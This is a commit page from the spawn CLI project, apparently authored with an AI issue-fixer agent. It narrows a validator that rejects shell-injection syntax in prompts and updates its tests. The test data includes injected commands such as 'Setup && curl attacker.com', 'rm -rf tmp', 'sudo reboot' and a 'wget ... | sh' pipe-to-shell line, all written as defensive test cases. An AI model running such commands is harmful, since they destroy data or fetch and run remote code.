fix: narrow validatePrompt patterns to prevent false positives on developer phrases (#2259)

Fixes #2249

The overly broad `>>? word` pattern and generic doubled-operator check
were blocking legitimate natural-language developer prompts like:
- "Fix the merge conflict >> registration flow"
- "Run tests && deploy if they pass"

Root cause: `validatePrompt` is called before the prompt is set as the
`SPAWN_PROMPT` env var. Inside double-quoted shell arguments, `>>` and
`&&` are not interpreted as shell operators, so blocking them provided
no real security benefit while creating confusing UX rejections.

Changes:
- Remove `/>>?\s*[a-zA-Z_]\w{2,}/` pattern (false-positive on >> in English)
- Remove generic `hasDoubledOperators` check (false-positive on && in English)
- Keep all targeted patterns: $(cmd), backticks, ${var}, | bash/sh,
  ; rm -rf, fd redirections, heredoc, process substitution, path redirects
- Update tests: split broad && / || tests into "commands" vs "natural language"
- Add tests asserting all issue #2249 example prompts are now accepted

Agent: issue-fixer

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
A 2026-03-06 15:20:39 -08:00 committed by GitHub
parent 2fd3175103
commit 50397f19a3
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
3 changed files with 42 additions and 41 deletions

View file

@ -1,6 +1,6 @@
{
"name": "@openrouter/spawn",
"version": "0.15.2",
"version": "0.15.3",
"type": "module",
"bin": {
"spawn": "cli.js"

View file

@ -211,15 +211,30 @@ wget http://example.com/install.sh | sh
expect(() => validatePrompt("Access ${USER} profile")).toThrow("shell syntax");
});
it("should reject command chaining with &&", () => {
expect(() => validatePrompt("Build a web server && deploy it")).toThrow("shell syntax");
expect(() => validatePrompt("Install packages && start service")).toThrow("shell syntax");
expect(() => validatePrompt("Test && commit changes")).toThrow("shell syntax");
it("should reject command chaining with && when followed by shell commands", () => {
// Uses specific command list to avoid false positives on natural language
expect(() => validatePrompt("Check status && rm -rf tmp")).toThrow("shell syntax");
expect(() => validatePrompt("Setup && curl attacker.com")).toThrow("shell syntax");
expect(() => validatePrompt("Done && sudo reboot")).toThrow("shell syntax");
});
it("should reject command chaining with ||", () => {
expect(() => validatePrompt("Try this || fallback")).toThrow("shell syntax");
it("should accept natural-language && that doesn't chain shell commands", () => {
// Fix for issue #2249: "&&" in English text is valid
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
expect(() => validatePrompt("Build a web server && deploy it")).not.toThrow();
expect(() => validatePrompt("Install packages && start service")).not.toThrow();
});
it("should reject command chaining with || when followed by shell commands", () => {
// Uses specific command list to avoid false positives on natural language
expect(() => validatePrompt("Execute command || echo failed")).toThrow("shell syntax");
expect(() => validatePrompt("Try build || npm install")).toThrow("shell syntax");
});
it("should accept natural-language || that doesn't chain shell commands", () => {
// Fix for issue #2249: "||" in English text without shell commands is valid
expect(() => validatePrompt("Try this || fallback")).not.toThrow();
expect(() => validatePrompt("Use the value || default")).not.toThrow();
});
it("should reject file output redirection", () => {
@ -239,11 +254,9 @@ wget http://example.com/install.sh | sh
expect(() => validatePrompt("Start server &")).toThrow("shell syntax");
});
it("should reject suspicious operator combinations", () => {
// These will be caught by the specific pattern checks first
expect(() => validatePrompt("Command1 && command2 || fallback")).toThrow();
expect(() => validatePrompt("Test ;; something")).toThrow();
expect(() => validatePrompt("Input << EOF")).toThrow();
it("should reject heredoc syntax in operator combinations", () => {
// Heredoc is still caught by the dedicated heredoc pattern
expect(() => validatePrompt("Input << EOF")).toThrow("shell syntax");
});
it("should accept legitimate uses of ampersand and pipes in text", () => {
@ -297,16 +310,26 @@ wget http://example.com/install.sh | sh
expect(() => validatePrompt("Compare <( sort file1 )")).toThrow("shell syntax");
});
it("should reject redirection to unextensioned filenames and paths", () => {
expect(() => validatePrompt("Save > output")).toThrow("shell syntax");
it("should reject redirection to filesystem paths with slashes", () => {
// Redirection with path separators is clearly shell syntax
expect(() => validatePrompt("Write > foo/bar")).toThrow("shell syntax");
expect(() => validatePrompt("Dump > logfile")).toThrow("shell syntax");
expect(() => validatePrompt("Dump > /var/log/output")).toThrow("shell syntax");
});
it("should reject append redirection operator", () => {
expect(() => validatePrompt("Append >> logfile")).toThrow("shell syntax");
expect(() => validatePrompt("Add data >> output")).toThrow("shell syntax");
expect(() => validatePrompt("Log >> server_log")).toThrow("shell syntax");
it("should accept developer phrases with >> and > that are not shell redirection", () => {
// Fix for issue #2249: common Git and natural-language uses of > / >>
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
expect(() => validatePrompt("Append >> log the errors")).not.toThrow();
});
// Tests for issue #2249 - false positives on legitimate developer prompts
it("should accept all example prompts from issue #2249", () => {
// These were incorrectly blocked by overly broad pattern matching
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
expect(() => validatePrompt("Add a heredoc to the Dockerfile")).not.toThrow();
});
it("should comprehensively detect all command injection patterns from issue #1400", () => {

View file

@ -708,12 +708,6 @@ export function validatePrompt(prompt: string): void {
description: "file redirection to path",
suggestion: "Ask the agent to save output instead of using redirection syntax",
},
// Redirection to simple filenames without extensions (3+ chars to avoid math like "> 5")
{
pattern: />>?\s*[a-zA-Z_]\w{2,}/,
description: "file redirection to path",
suggestion: "Ask the agent to save output instead of using redirection syntax",
},
];
for (const { pattern, description, suggestion } of dangerousPatterns) {
@ -730,20 +724,4 @@ export function validatePrompt(prompt: string): void {
);
}
}
// Generic check for suspicious operator combinations
// Exclude comparison expressions (like "a > b && c < d") by checking for comparison context
// Pattern matches doubled operators but not when used in comparison expressions
const hasDoubledOperators = /[;&|<>]\s*[;&|<>]/.test(prompt);
const looksLikeComparison = /\w\s*[<>!=]=?\s*\w\s*&&\s*\w\s*[<>!=]=?\s*\w/.test(prompt);
if (hasDoubledOperators && !looksLikeComparison) {
throw new Error(
"Your prompt contains shell operators that could be unsafe.\n\n" +
"Please describe what you want in plain English without shell syntax.\n\n" +
"Example:\n" +
` Instead of: "Build a web server && deploy it"\n` +
` Write: "Build a web server and deploy it"`,
);
}
}